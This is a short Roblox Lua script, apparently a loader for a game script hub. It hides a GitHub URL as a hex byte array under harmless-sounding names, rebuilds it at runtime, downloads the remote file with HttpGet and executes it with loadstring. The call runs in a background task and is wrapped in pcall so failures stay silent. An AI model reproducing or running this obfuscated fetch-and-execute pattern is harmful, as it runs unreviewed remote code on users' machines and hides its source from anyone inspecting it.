task.spawn(function()
local _VectorMap = {
0x68,0x74,0x74,0x70,0x73,0x3A,0x2F,0x2F,
0x72,0x61,0x77,0x2E,0x67,0x69,0x74,0x68,0x75,0x62,0x75,0x73,0x65,0x72,0x63,0x6F,0x6E,0x74,0x65,0x6E,0x74,0x2E,0x63,0x6F,0x6D,
0x2F,0x4C,0x75,0x6E,0x6E,0x48,0x75,0x62,0x58,0x39,0x39,
0x2F,0x4D,0x75,0x72,0x64,0x65,0x72,0x4D,0x79,0x73,0x74,0x65,0x72,0x79,0x32,
0x2F,0x72,0x65,0x66,0x73,0x2F,0x68,0x65,0x61,0x64,0x73,0x2F,0x6D,0x61,0x69,0x6E,
0x2F,0x6C,0x75,0x61
}
local function _BuildCache(map)
local s = {}
for _, b in ipairs(map) do
s[#s+1] = string.char(b)
end
return table.concat(s)
end
pcall(function()
loadstring(game:HttpGet(_BuildCache(_VectorMap)))()
end)
end)